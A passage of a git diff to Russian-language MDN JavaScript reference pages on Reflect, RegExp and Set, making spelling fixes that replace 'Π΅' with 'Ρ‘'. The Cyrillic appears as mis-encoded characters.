Π΄Ρ€ΡƒΠ³ΠΎΠΉ ΠΏΡ€ΠΎΡ‚ΠΎΡ‚ΠΈΠΏ.</p>
+<p>БтатичСский ΠΌΠ΅Ρ‚ΠΎΠ΄Β <code><strong>Reflect</strong></code><strong><code>.construct()</code></strong>Β Ρ€Π°Π±ΠΎΡ‚Π°Π΅Ρ‚ ΠΊΠ°ΠΊΒ <a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Operators/new"><code>new</code> operator</a>. Он эквивалСнтСн <code>new target(...args)</code>. Π­Ρ‚ΠΎ Ρ‚Π°ΠΊΠΆΠ΅ Π΄Π°Ρ‘Ρ‚ Π΄ΠΎΠΏΠΎΠ»Π½ΠΈΡ‚Π΅Π»ΡŒΠ½ΡƒΡŽ Π²ΠΎΠ·ΠΌΠΎΠΆΠ½ΠΎΡΡ‚ΡŒ ΡƒΠΊΠ°Π·Π°Ρ‚ΡŒ Π΄Ρ€ΡƒΠ³ΠΎΠΉ ΠΏΡ€ΠΎΡ‚ΠΎΡ‚ΠΈΠΏ.</p>
<div>{{EmbedInteractiveExample("pages/js/reflect-construct.html")}}</div>
diff --git a/files/ru/web/javascript/reference/global_objects/reflect/index.html b/files/ru/web/javascript/reference/global_objects/reflect/index.html
index 9a93944a56..8f5f7bb306 100644
--- a/files/ru/web/javascript/reference/global_objects/reflect/index.html
+++ b/files/ru/web/javascript/reference/global_objects/reflect/index.html
@@ -71,7 +71,7 @@ Reflect.has(duck, 'haircut');
<h3 id="Π”ΠΎΠ±Π°Π²Π»Π΅Π½ΠΈΠ΅_Π½ΠΎΠ²ΠΎΠ³ΠΎ_свойства_Π²_ΠΎΠ±ΡŠΠ΅ΠΊΡ‚">Π”ΠΎΠ±Π°Π²Π»Π΅Π½ΠΈΠ΅ Π½ΠΎΠ²ΠΎΠ³ΠΎ свойства Π² ΠΎΠ±ΡŠΠ΅ΠΊΡ‚</h3>
<pre class="brush: js notranslate">Reflect.set(duck, 'eyes', 'black');
-// вСрнСтся "true" Ссли Π²Ρ‹Π·ΠΎΠ² ΡƒΡΠΏΠ΅ΡˆΠ΅Π½
+// вСрнётся "true" Ссли Π²Ρ‹Π·ΠΎΠ² ΡƒΡΠΏΠ΅ΡˆΠ΅Π½
// ΠΎΠ±ΡŠΠ΅ΠΊΡ‚ "duck" Ρ‚Π΅ΠΏΠ΅Ρ€ΡŒ содСрТит свойство "eyes" со Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ΠΌ "black"</pre>
<h2 id="Π‘ΠΏΠ΅Ρ†ΠΈΡ„ΠΈΠΊΠ°Ρ†ΠΈΠΈ">Π‘ΠΏΠ΅Ρ†ΠΈΡ„ΠΈΠΊΠ°Ρ†ΠΈΠΈ</h2>
diff --git a/files/ru/web/javascript/reference/global_objects/reflect/ownkeys/index.html b/files/ru/web/javascript/reference/global_objects/reflect/ownkeys/index.html
index 8579639a52..c99438a6d8 100644
--- a/files/ru/web/javascript/reference/global_objects/reflect/ownkeys/index.html
+++ b/files/ru/web/javascript/reference/global_objects/reflect/ownkeys/index.html
@@ -5,7 +5,7 @@ translation_of: Web/JavaScript/Reference/Global_Objects/Reflect/ownKeys
---
<div>{{JSRef}}</div>
-<p>БтатичСский ΠΌΠ΅Ρ‚ΠΎΠ΄Β <code><strong>Reflect</strong></code><strong><code>.ownKeys()</code></strong> Π²ΠΎΠ·Π²Ρ€Π°Ρ‰Π°Π΅Ρ‚ массив ΠΈΠΌΠ΅Π½, Π° Ρ‚Π°ΠΊΠΆΠ΅ <code>Symbols</code> собствСнных ΠΏΠΎΠ»Π΅ΠΉ ΠΎΠ±ΡŠΠ΅ΠΊΡ‚Π°Β <code>target</code>Β .</p>
+<p>БтатичСский ΠΌΠ΅Ρ‚ΠΎΠ΄Β <code><strong>Reflect</strong></code><strong><code>.ownKeys()</code></strong> Π²ΠΎΠ·Π²Ρ€Π°Ρ‰Π°Π΅Ρ‚ массив ΠΈΠΌΡ‘Π½, Π° Ρ‚Π°ΠΊΠΆΠ΅ <code>Symbols</code> собствСнных ΠΏΠΎΠ»Π΅ΠΉ ΠΎΠ±ΡŠΠ΅ΠΊΡ‚Π°Β <code>target</code>Β .</p>
<div>{{EmbedInteractiveExample("pages/js/reflect-ownkeys.html")}}</div>
diff --git a/files/ru/web/javascript/reference/global_objects/regexp/@@split/index.html b/files/ru/web/javascript/reference/global_objects/regexp/@@split/index.html
index 80c4692d97..fffdadf7c9 100644
--- a/files/ru/web/javascript/reference/global_objects/regexp/@@split/index.html
+++ b/files/ru/web/javascript/reference/global_objects/regexp/@@split/index.html
@@ -40,7 +40,7 @@ translation_of: Web/JavaScript/Reference/Global_Objects/RegExp/@@split
<p>Π­Ρ‚ΠΎΡ‚ ΠΌΠ΅Ρ‚ΠΎΠ΄ сущСствуСт для кастомизации повСдСния (разбиСния) подкласса <code>RegExp</code>.</p>
-<p>Если Π°Ρ€Π³ΡƒΠΌΠ΅Π½Ρ‚ <code>str</code> <strong>Π½Π΅ </strong>ΠΎΠ±ΡŠΠ΅ΠΊΡ‚ Ρ‚ΠΈΠΏΠ° {{jsxref("RegExp")}}, ΠΌΠ΅Ρ‚ΠΎΠ΄ {{jsxref("String.prototype.split()")}} Π½Π΅ вызываСтся, Ρ‚Π°ΠΊ ΠΆΠ΅ Π½Π΅ создаСтся ΠΎΠ±ΡŠΠ΅ΠΊΡ‚ Ρ‚ΠΈΠΏΠ° {{jsxref("RegExp")}}.</p>
+<p>Если Π°Ρ€Π³ΡƒΠΌΠ΅Π½Ρ‚ <code>str</code> <strong>Π½Π΅ </strong>ΠΎΠ±ΡŠΠ΅ΠΊΡ‚ Ρ‚ΠΈΠΏΠ° {{jsxref("RegExp")}}, ΠΌΠ΅Ρ‚ΠΎΠ΄ {{jsxref("String.prototype.split()")}} Π½Π΅ вызываСтся, Ρ‚Π°ΠΊ ΠΆΠ΅ Π½Π΅ создаётся ΠΎΠ±ΡŠΠ΅ΠΊΡ‚ Ρ‚ΠΈΠΏΠ° {{jsxref("RegExp")}}.</p>
<h2 id="ΠŸΡ€ΠΈΠΌΠ΅Ρ€Ρ‹">ΠŸΡ€ΠΈΠΌΠ΅Ρ€Ρ‹</h2>
diff --git a/files/ru/web/javascript/reference/global_objects/regexp/index.html b/files/ru/web/javascript/reference/global_objects/regexp/index.html
index 20b0d9b10e..359a8f167d 100644
--- a/files/ru/web/javascript/reference/global_objects/regexp/index.html
+++ b/files/ru/web/javascript/reference/global_objects/regexp/index.html
@@ -293,7 +293,7 @@ var re = new RegExp('\\w+');
<tr>
<td><code>\<em>n</em></code></td>
<td>
- <p>Π“Π΄Π΅ <code><em>n</em></code> являСтся Ρ†Π΅Π»Ρ‹ΠΌ ΠΏΠΎΠ»ΠΎΠΆΠΈΡ‚Π΅Π»ΡŒΠ½Ρ‹ΠΌ числом. ΠžΠ±Ρ€Π°Ρ‚Π½Π°Ρ ссылка Π½Π° послСднюю ΡΠΎΠΏΠΎΡΡ‚Π°Π²ΠΈΠ²ΡˆΡƒΡŽΡΡ подстроку Π² <em>n</em>-Π½Ρ‹Ρ… ΠΏΠΎ счёту ΠΊΡ€ΡƒΠ³Π»Ρ‹Ρ… скобках Π² рСгулярном Π²Ρ‹Ρ€Π°ΠΆΠ΅Π½ΠΈΠΈ (нумСрация скобок ΠΈΠ΄Π΅Ρ‚ слСва Π½Π°ΠΏΡ€Π°Π²ΠΎ).</p>
+ <p>Π“Π΄Π΅ <code><em>n</em></code> являСтся Ρ†Π΅Π»Ρ‹ΠΌ ΠΏΠΎΠ»ΠΎΠΆΠΈΡ‚Π΅Π»ΡŒΠ½Ρ‹ΠΌ числом. ΠžΠ±Ρ€Π°Ρ‚Π½Π°Ρ ссылка Π½Π° послСднюю ΡΠΎΠΏΠΎΡΡ‚Π°Π²ΠΈΠ²ΡˆΡƒΡŽΡΡ подстроку Π² <em>n</em>-Π½Ρ‹Ρ… ΠΏΠΎ счёту ΠΊΡ€ΡƒΠ³Π»Ρ‹Ρ… скобках Π² рСгулярном Π²Ρ‹Ρ€Π°ΠΆΠ΅Π½ΠΈΠΈ (нумСрация скобок ΠΈΠ΄Ρ‘Ρ‚ слСва Π½Π°ΠΏΡ€Π°Π²ΠΎ).</p>
<p>НапримСр, шаблон <code>/яблоко(,)\sапСльсин\1/</code> сопоставится подстрокС «яблоко, апСльсин,Β» Π² строкС «яблоко, апСльсин, вишня, пСрсик». Π‘ΠΎΠ»Π΅Π΅ ΠΏΠΎΠ΄Ρ€ΠΎΠ±Π½Ρ‹ΠΉ ΠΏΡ€ΠΈΠΌΠ΅Ρ€ смотритС послС этой Ρ‚Π°Π±Π»ΠΈΡ†Ρ‹.</p>
</td>
@@ -380,7 +380,7 @@ var re = new RegExp('\\w+');
<p><code><font face="Arial, x-locale-body, sans-serif"><span style="background-color: #ffffff;">БопоставляСтся с </span></font><em>x</em></code>, Ρ‚ΠΎΠ»ΡŒΠΊΠΎ Ссли <code><em>x</em></code>Β Π½Π΅ ΠΏΡ€Π΅Π΄ΡˆΠ΅ΡΡ‚Π²ΡƒΠ΅Ρ‚Β <code><em>y</em></code></p>
<p>НапримСр,Β <code>/(?&lt;!-)\d+/</code> сопоставится с Ρ†ΠΈΡ„Ρ€ΠΎΠΉ, Ρ‚ΠΎΠ»ΡŒΠΊΠΎ Ссли Π΅ΠΉ Π½Π΅ ΠΏΡ€Π΅Π΄ΡˆΠ΅ΡΡ‚Π²ΡƒΠ΅Ρ‚ минус.<br>
- <code>/(?&lt;!-)\d+/.exec('3')</code>Β Π²Π΅Ρ€Π½Π΅Ρ‚Β "3".<br>
+ <code>/(?&lt;!-)\d+/.exec('3')</code>Β Π²Π΅Ρ€Π½Ρ‘Ρ‚Β "3".<br>
Β <code>/(?&lt;!-)\d+/.exec('-3')</code>Β  Π½Π΅ сопоставится с Ρ†ΠΈΡ„Ρ€ΠΎΠΉ, Ρ‚ΠΊ Ρ†ΠΈΡ„Ρ€Π΅ ΠΏΠ΅Ρ€Π΅Π΄ Ρ†ΠΈΡ„Ρ€ΠΎΠΉ 3 присутствуСт минус.</p>
</td>
</tr>
diff --git a/files/ru/web/javascript/reference/global_objects/regexp/lastmatch/index.html b/files/ru/web/javascript/reference/global_objects/regexp/lastmatch/index.html
index 3d86f2958e..89551d517b 100644
--- a/files/ru/web/javascript/reference/global_objects/regexp/lastmatch/index.html
+++ b/files/ru/web/javascript/reference/global_objects/regexp/lastmatch/index.html
@@ -19,7 +19,7 @@ RegExp['$&amp;']
<p>Π—Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ свойства <code>lastMatch</code> доступно Ρ‚ΠΎΠ»ΡŒΠΊΠΎ для Ρ‡Ρ‚Π΅Π½ΠΈΠ΅ ΠΈ измСняСтся ΠΏΡ€ΠΈ ΡƒΡΠΏΠ΅ΡˆΠ½ΠΎΠΌ совпадСнии с рСгулярным Π²Ρ‹Ρ€Π°ΠΆΠ΅Π½ΠΈΠ΅ΠΌ.</p>
-<p>ΠŸΠΎΡΠΊΠΎΠ»ΡŒΠΊΡƒ использованиС символа "&amp;" ΠΏΡ€ΠΈΠ²Π΅Π΄Π΅Ρ‚ ΠΊ Π²Ρ‹Π±Ρ€Π°ΡΡ‹Π²Π°Π½ΠΈΡŽ ошибки {{jsxref("SyntaxError")}}, ΠΎΠ±Ρ€Π°Ρ‚ΠΈΡ‚ΡŒΡΡ ΠΊ Π΄Π°Π½Π½ΠΎΠΌΡƒ свойству с ΠΏΠΎΠΌΠΎΡ‰ΡŒΡŽ Ρ‚ΠΎΡ‡Π΅Ρ‡Π½ΠΎΠΉ Π½ΠΎΡ‚Π°Ρ†ΠΈΠΈ(<code>RegExp.$&amp;</code>) нСльзя. ВмСсто этого стоит ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ <a href="/ru/docs/Web/JavaScript/Reference/Operators/Property_Accessors">ΡΠΊΠΎΠ±ΠΎΡ‡Π½ΡƒΡŽ Π½ΠΎΡ‚Π°Ρ†ΠΈΡŽ</a>Β (<code>RegExp['$&amp;']</code>).</p>
+<p>ΠŸΠΎΡΠΊΠΎΠ»ΡŒΠΊΡƒ использованиС символа "&amp;" ΠΏΡ€ΠΈΠ²Π΅Π΄Ρ‘Ρ‚ ΠΊ Π²Ρ‹Π±Ρ€Π°ΡΡ‹Π²Π°Π½ΠΈΡŽ ошибки {{jsxref("SyntaxError")}}, ΠΎΠ±Ρ€Π°Ρ‚ΠΈΡ‚ΡŒΡΡ ΠΊ Π΄Π°Π½Π½ΠΎΠΌΡƒ свойству с ΠΏΠΎΠΌΠΎΡ‰ΡŒΡŽ Ρ‚ΠΎΡ‡Π΅Ρ‡Π½ΠΎΠΉ Π½ΠΎΡ‚Π°Ρ†ΠΈΠΈ(<code>RegExp.$&amp;</code>) нСльзя. ВмСсто этого стоит ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ <a href="/ru/docs/Web/JavaScript/Reference/Operators/Property_Accessors">ΡΠΊΠΎΠ±ΠΎΡ‡Π½ΡƒΡŽ Π½ΠΎΡ‚Π°Ρ†ΠΈΡŽ</a>Β (<code>RegExp['$&amp;']</code>).</p>
<h2 id="ΠŸΡ€ΠΈΠΌΠ΅Ρ€Ρ‹">ΠŸΡ€ΠΈΠΌΠ΅Ρ€Ρ‹</h2>
diff --git a/files/ru/web/javascript/reference/global_objects/regexp/n/index.html b/files/ru/web/javascript/reference/global_objects/regexp/n/index.html
index 4873c56af0..5becd52a06 100644
--- a/files/ru/web/javascript/reference/global_objects/regexp/n/index.html
+++ b/files/ru/web/javascript/reference/global_objects/regexp/n/index.html
@@ -5,7 +5,7 @@ translation_of: Web/JavaScript/Reference/Global_Objects/RegExp/n
---
<div>{{JSRef}} {{non-standard_header}}</div>
-<p>НСстандартныС свойства <strong>$1, $2, $3, $4, $5, $6, $7, $8, $9</strong> ΡΠ²Π»ΡΡŽΡ‚ΡΡ статичСскими ΠΈ доступными Ρ‚ΠΎΠ»ΡŒΠΊΠΎ для чтСния свойствами рСгулярных Π²Ρ‹Ρ€Π°ΠΆΠ΅Π½ΠΈΠΉ, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ содСрТат Π½Π°ΠΉΠ΄Π΅Π½Π½Ρ‹Π΅ подстроки,Β ΠΎΠ±Π΅Ρ€Π½ΡƒΡ‚Ρ‹Π΅ Π² скобки.</p>
+<p>НСстандартныС свойства <strong>$1, $2, $3, $4, $5, $6, $7, $8, $9</strong> ΡΠ²Π»ΡΡŽΡ‚ΡΡ статичСскими ΠΈ доступными Ρ‚ΠΎΠ»ΡŒΠΊΠΎ для чтСния свойствами рСгулярных Π²Ρ‹Ρ€Π°ΠΆΠ΅Π½ΠΈΠΉ, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ содСрТат Π½Π°ΠΉΠ΄Π΅Π½Π½Ρ‹Π΅ подстроки,Β ΠΎΠ±Ρ‘Ρ€Π½ΡƒΡ‚Ρ‹Π΅ Π² скобки.</p>
<h2 id="Бинтаксис">Бинтаксис</h2>
@@ -26,7 +26,7 @@ RegExp.$9
<p>ЗначСния этих свойств Π½Π΅ доступны для измСнСния, ΠΎΠ½ΠΈ ΠΌΠΎΠ΄ΠΈΡ„ΠΈΡ†ΠΈΡ€ΡƒΡŽΡ‚ΡΡ всякий Ρ€Π°Π· ΠΏΡ€ΠΈ ΡƒΡΠΏΠ΅ΡˆΠ½ΠΎΠΌ совпадСнии рСгулярного выраТСния.</p>
-<p>ΠšΠΎΠ»ΠΈΡ‡Π΅ΡΡ‚Π²ΠΎ Π²ΠΎΠ·ΠΌΠΎΠΆΠ½Ρ‹Ρ… подстрок Π² ΠΊΡ€ΡƒΠ³Π»Ρ‹Ρ… скобках Π½Π΅ΠΎΠ³Ρ€Π°Π½ΠΈΡ‡Π΅Π½ΠΎ, Π½ΠΎ ΠΎΠ±ΡŠΠ΅ΠΊΡ‚ <code>RegExp</code> ΠΌΠΎΠΆΠ΅Ρ‚ ΡΠΎΠ΄Π΅Ρ€ΠΆΠ°Ρ‚ΡŒ Π² сСбС Ρ‚ΠΎΠ»ΡŒΠΊΠΎ послСдниС 9. Π’Ρ‹ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ ΠΏΠΎΠ»ΡƒΡ‡ΠΈΡ‚ΡŒ доступ ΠΊΠΎ всСм подстрокам, совпавшим с выраТСниями внутри ΠΊΡ€ΡƒΠ³Π»Ρ‹Ρ… скобок, с ΠΏΠΎΠΌΠΎΡ‰ΡŒΡŽ индСксов Π²ΠΎΠ·Π²Ρ€Π°Ρ‰Π΅Π½Π½ΠΎΠ³ΠΎ массива.</p>
+<p>ΠšΠΎΠ»ΠΈΡ‡Π΅ΡΡ‚Π²ΠΎ Π²ΠΎΠ·ΠΌΠΎΠΆΠ½Ρ‹Ρ… подстрок Π² ΠΊΡ€ΡƒΠ³Π»Ρ‹Ρ… скобках Π½Π΅ΠΎΠ³Ρ€Π°Π½ΠΈΡ‡Π΅Π½ΠΎ, Π½ΠΎ ΠΎΠ±ΡŠΠ΅ΠΊΡ‚ <code>RegExp</code> ΠΌΠΎΠΆΠ΅Ρ‚ ΡΠΎΠ΄Π΅Ρ€ΠΆΠ°Ρ‚ΡŒ Π² сСбС Ρ‚ΠΎΠ»ΡŒΠΊΠΎ послСдниС 9. Π’Ρ‹ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ ΠΏΠΎΠ»ΡƒΡ‡ΠΈΡ‚ΡŒ доступ ΠΊΠΎ всСм подстрокам, совпавшим с выраТСниями внутри ΠΊΡ€ΡƒΠ³Π»Ρ‹Ρ… скобок, с ΠΏΠΎΠΌΠΎΡ‰ΡŒΡŽ индСксов Π²ΠΎΠ·Π²Ρ€Π°Ρ‰Ρ‘Π½Π½ΠΎΠ³ΠΎ массива.</p>
<p>Π­Ρ‚ΠΈ свойства ΠΌΠΎΠ³Ρƒ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒΡΡ ΠΏΡ€ΠΈ Π·Π°ΠΌΠ΅Π½Π΅ тСкста Π² ΠΌΠ΅Ρ‚ΠΎΠ΄Π΅ {{jsxref("String.replace")}}. Когда ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠ΅Ρ‚Π΅ Π΅Π³ΠΎ, Π½Π΅ добавляйтС ΠΈΡ… Π²Β <code>RegExp</code>. ΠŸΡ€ΠΈΠΌΠ΅Ρ€ Π½ΠΈΠΆΠ΅ дСмонстрируСт ΠΏΡ€Π°Π²ΠΈΠ»ΡŒΠ½ΠΎΠ΅ ΠΏΡ€ΠΈΠΌΠ΅Π½Π΅Π½ΠΈΠ΅. Когда ΠΊΡ€ΡƒΠ³Π»Ρ‹Π΅ скобки нС Π²ΠΊΠ»ΡŽΡ‡Π΅Π½Ρ‹ Π² рСгулярноС Π²Ρ‹Ρ€Π°ΠΆΠ΅Π½ΠΈΠ΅, ΠΊΠΎΠ΄ ΠΈΠ½Ρ‚Π΅Ρ€ΠΏΡ€Π΅Ρ‚ΠΈΡ€ΡƒΠ΅Ρ‚Β Ρ‚Π°ΠΊΠΈΠ΅ значСния, ΠΊΠ°ΠΊΒ <code>$n</code>Β Π±ΡƒΠΊΠ²Π°Π»ΡŒΠ½ΠΎ, ΠΊΠ°ΠΊ Π»ΠΈΡ‚Π΅Ρ€Π°Π» (n - ΠΏΠΎΠ»ΠΎΠΆΠΈΡ‚Π΅Π»ΡŒΠ½ΠΎΠ΅ число).</p>
diff --git a/files/ru/web/javascript/reference/global_objects/regexp/unicode/index.html b/files/ru/web/javascript/reference/global_objects/regexp/unicode/index.html
index ea9db422df..af771e9feb 100644
--- a/files/ru/web/javascript/reference/global_objects/regexp/unicode/index.html
+++ b/files/ru/web/javascript/reference/global_objects/regexp/unicode/index.html
@@ -53,7 +53,7 @@ console.log(regex.unicode); // true
<h2 id="Π‘ΠΎΠ²ΠΌΠ΅ΡΡ‚ΠΈΠΌΠΎΡΡ‚ΡŒ_с_Π±Ρ€Π°ΡƒΠ·Π΅Ρ€Π°ΠΌΠΈ">Π‘ΠΎΠ²ΠΌΠ΅ΡΡ‚ΠΈΠΌΠΎΡΡ‚ΡŒ с Π±Ρ€Π°ΡƒΠ·Π΅Ρ€Π°ΠΌΠΈ</h2>
<div>
-<div class="hidden">Π’Π°Π±Π»ΠΈΡ†Π° совмСстимости Π½Π° этой страницС создаСтся ΠΈΠ· структурированных Π΄Π°Π½Π½Ρ‹Ρ…. Если Π²Ρ‹ Ρ…ΠΎΡ‚ΠΈΡ‚Π΅ внСсти свой Π²ΠΊΠ»Π°Π΄ Π² Π΄Π°Π½Π½Ρ‹Π΅, Π·Π°ΠΉΠ΄ΠΈΡ‚Π΅ Π½Π° https://github.com/mdn/browser-compat-data ΠΈ ΠΎΡ‚ΠΏΡ€Π°Π²ΡŒΡ‚Π΅ Π½Π°ΠΌ pull request.</div>
+<div class="hidden">Π’Π°Π±Π»ΠΈΡ†Π° совмСстимости Π½Π° этой страницС создаётся ΠΈΠ· структурированных Π΄Π°Π½Π½Ρ‹Ρ…. Если Π²Ρ‹ Ρ…ΠΎΡ‚ΠΈΡ‚Π΅ внСсти свой Π²ΠΊΠ»Π°Π΄ Π² Π΄Π°Π½Π½Ρ‹Π΅, Π·Π°ΠΉΠ΄ΠΈΡ‚Π΅ Π½Π° https://github.com/mdn/browser-compat-data ΠΈ ΠΎΡ‚ΠΏΡ€Π°Π²ΡŒΡ‚Π΅ Π½Π°ΠΌ pull request.</div>
<p>{{Compat("javascript.builtins.RegExp.unicode")}}</p>
</div>
diff --git a/files/ru/web/javascript/reference/global_objects/set/delete/index.html b/files/ru/web/javascript/reference/global_objects/set/delete/index.html
index e2ecf26cfd..e6987bffe3 100644
--- a/files/ru/web/javascript/reference/global_objects/set/delete/index.html
+++ b/files/ru/web/javascript/reference/global_objects/set/delete/index.html
@@ -26,7 +26,7 @@ translation_of: Web/JavaScript/Reference/Global_Objects/Set/delete
<h3 id="Π’ΠΎΠ·Π²Ρ€Π°Ρ‰Π°Π΅ΠΌΠΎΠ΅_Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅">Π’ΠΎΠ·Π²Ρ€Π°Ρ‰Π°Π΅ΠΌΠΎΠ΅ Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅</h3>
-<p><code>true</code>, Ссли элСмСнт Π±Ρ‹Π» ΡƒΡΠΏΠ΅ΡˆΠ½ΠΎΒ ΡƒΠ΄Π°Π»Π΅Π½ ΠΈΠ· ΠΎΠ±ΡŠΠ΅ΠΊΡ‚Π°Β <code>Set</code>, ΠΈΠ½Π°Ρ‡Π΅Β <code>false</code>.</p>
+<p><code>true</code>, Ссли элСмСнт Π±Ρ‹Π» ΡƒΡΠΏΠ΅ΡˆΠ½ΠΎΒ ΡƒΠ΄Π°Π»Ρ‘Π½ ΠΈΠ· ΠΎΠ±ΡŠΠ΅ΠΊΡ‚Π°Β <code>Set</code>, ΠΈΠ½Π°Ρ‡Π΅Β <code>false</code>.</p>
<h2 id="ΠŸΡ€ΠΈΠΌΠ΅Ρ€Ρ‹">ΠŸΡ€ΠΈΠΌΠ΅Ρ€Ρ‹</h2>
@@ -35,15 +35,15 @@ translation_of: Web/JavaScript/Reference/Global_Objects/Set/delete
<pre class="brush: js">var mySet = new Set();
mySet.add('foo');
-mySet.delete('bar'); // Π’Π΅Ρ€Π½Π΅Ρ‚ false. ΠžΡ‚ΡΡƒΡ‚ΡΡ‚Π²ΡƒΠ΅Ρ‚ элСмСнт "bar" для удалСния.
-mySet.delete('foo'); // Π’Π΅Ρ€Π½Π΅Ρ‚ true. УспСшно ΡƒΠ΄Π°Π»Π΅Π½.
+mySet.delete('bar'); // Π’Π΅Ρ€Π½Ρ‘Ρ‚ false. ΠžΡ‚ΡΡƒΡ‚ΡΡ‚Π²ΡƒΠ΅Ρ‚ элСмСнт "bar" для удалСния.
+mySet.delete('foo'); // Π’Π΅Ρ€Π½Ρ‘Ρ‚ true. УспСшно ΡƒΠ΄Π°Π»Ρ‘Π½.
-mySet.has('foo'); // Π’Π΅Ρ€Π½Π΅Ρ‚ false. Π­Π»Π΅ΠΌΠ΅Π½Ρ‚ "foo" большС Π½Π΅ присутствуСт.
+mySet.has('foo'); // Π’Π΅Ρ€Π½Ρ‘Ρ‚ false. Π­Π»Π΅ΠΌΠ΅Π½Ρ‚ "foo" большС Π½Π΅ присутствуСт.
</pre>
<p>Π”Π°Π²Π°ΠΉΡ‚Π΅ ΠΏΡ€ΠΎΠ²Π΅Ρ€ΠΈΠΌΒ ΠΊΠ°ΠΊ ΡƒΠ΄Π°Π»ΠΈΡ‚ΡŒ Object ΠΈΠ· Set.</p>
-<pre class="brush: js">var setObj = new Set(); // Π‘ΠΎΠ·Π΄Π°Π΅ΠΌ Π½ΠΎΠ²Ρ‹ΠΉ Set.
+<pre class="brush: js">var setObj = new Set(); // Π‘ΠΎΠ·Π΄Π°Ρ‘ΠΌ Π½ΠΎΠ²Ρ‹ΠΉ Set.
setObj.add({x: 10, y: 20}); // ДобавляСм ΠΎΠ±ΡŠΠ΅ΠΊΡ‚ Π² Π½Π°Π±ΠΎΡ€.
diff --git a/files/ru/web/javascript/reference/global_objects/set/foreach/index.html b/files/ru/web/javascript/reference/global_objects/set/foreach/index.html
index 5ed212666b..643c1f4b3f 100644
--- a/files/ru/web/javascript/reference/global_objects/set/foreach/index.html
+++ b/files/ru/web/javascript/reference/global_objects/set/foreach/index.html
@@ -60,7 +60,7 @@ translation_of: Web/JavaScript/Reference/Global_Objects/Set/forEach
<h3 id="Π‘ΠΎΠ΄Π΅Ρ€ΠΆΠΈΠΌΠΎΠ΅_ΠΎΠ±ΡŠΠ΅ΠΊΡ‚Π°_Set">Π‘ΠΎΠ΄Π΅Ρ€ΠΆΠΈΠΌΠΎΠ΅ ΠΎΠ±ΡŠΠ΅ΠΊΡ‚Π°Β <code>Set</code>Β </h3>
-<p>ΠŸΡ€ΠΈΠ²Π΅Π΄Π΅Π½Π½Ρ‹ΠΉ ΠΊΠΎΠ΄ ΠΏΠΎΠΊΠ°Π·Ρ‹Π²Π°Π΅Ρ‚ состояниС ΠΊΠ°ΠΆΠ΄ΠΎΠ³ΠΎ элСмСнта Π² ΠΎΠ±ΡŠΠ΅ΠΊΡ‚Π΅Β <code>Set</code>:</p>
+<p>ΠŸΡ€ΠΈΠ²Π΅Π΄Ρ‘Π½Π½Ρ‹ΠΉ ΠΊΠΎΠ΄ ΠΏΠΎΠΊΠ°Π·Ρ‹Π²Π°Π΅Ρ‚ состояниС ΠΊΠ°ΠΆΠ΄ΠΎΠ³ΠΎ элСмСнта Π² ΠΎΠ±ΡŠΠ΅ΠΊΡ‚Π΅Β <code>Set</code>:</p>
<pre class="brush:js">function logSetElements(value1, value2, set) {
console.log('s[' + value1 + '] = ' + value2);
diff --git a/files/ru/web/javascript/reference/global_objects/set/set/index.html b/files/ru/web/javascript/reference/global_objects/set/set/index.html
index 66e1d0108e..5dabdcbd5d 100644
--- a/files/ru/web/javascript/reference/global_objects/set/set/index.html
+++ b/files/ru/web/javascript/reference/global_objects/set/set/index.html
@@ -18,7 +18,7 @@ translation_of: Web/JavaScript/Reference/Global_Objects/Set/Set
<dl>
<dt><code><var>iterable</var></code> {{optional_inline}}</dt>
<dd>
- <p>Если пСрСдаСтся <a href="https://developer.mozilla.org/ru/docs/Web/JavaScript/Reference/Statements/for...of">ΠΈΡ‚Π΅Ρ€Π°Ρ‚ΠΈΠ²Π½Ρ‹ΠΉ ΠΎΠ±ΡŠΠ΅ΠΊΡ‚</a>, всС Π΅Π³ΠΎ элСмСнты Π±ΡƒΠ΄ΡƒΡ‚ Π΄ΠΎΠ±Π°Π²Π»Π΅Π½Ρ‹ Π² Π½ΠΎΠ²Ρ‹ΠΉ Set.</p>
+ <p>Если пСрСдаётся <a href="https://developer.mozilla.org/ru/docs/Web/JavaScript/Reference/Statements/for...of">ΠΈΡ‚Π΅Ρ€Π°Ρ‚ΠΈΠ²Π½Ρ‹ΠΉ ΠΎΠ±ΡŠΠ΅ΠΊΡ‚</a>, всС Π΅Π³ΠΎ элСмСнты Π±ΡƒΠ΄ΡƒΡ‚ Π΄ΠΎΠ±Π°Π²Π»Π΅Π½Ρ‹ Π² Π½ΠΎΠ²Ρ‹ΠΉ Set.</p>
<p>Если Π²Ρ‹ Π½Π΅ ΡƒΠΊΠ°ΠΆΠ΅Ρ‚Π΅ этот ΠΏΠ°Ρ€Π°ΠΌΠ΅Ρ‚Ρ€ ΠΈΠ»ΠΈ Π΅Π³ΠΎ Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ Ρ€Π°Π²Π½ΠΎ Π½ΡƒΠ»ΡŽ, Π½ΠΎΠ²Ρ‹ΠΉ Π½Π°Π±ΠΎΡ€ Π±ΡƒΠ΄Π΅Ρ‚ пустым.</p>
</dd>
diff --git a/files/ru/web/javascript/reference/global_objects/sharedarraybuffer/index.html b/files/ru/web/javascript/reference/global_objects/sharedarraybuffer/index.html
index d625a5a809..ecd0cb98a9 100644
--- a/files/ru/web/javascript/reference/global_objects/sharedarraybuffer/index.html
+++ b/files/ru/web/javascript/reference/global_objects/sharedarraybuffer/index.html
@@ -5,7 +5,7 @@ translation_of: Web/JavaScript/Reference/Global_Objects/SharedArrayBuffer
---
<div>{{JSRef}}</div>
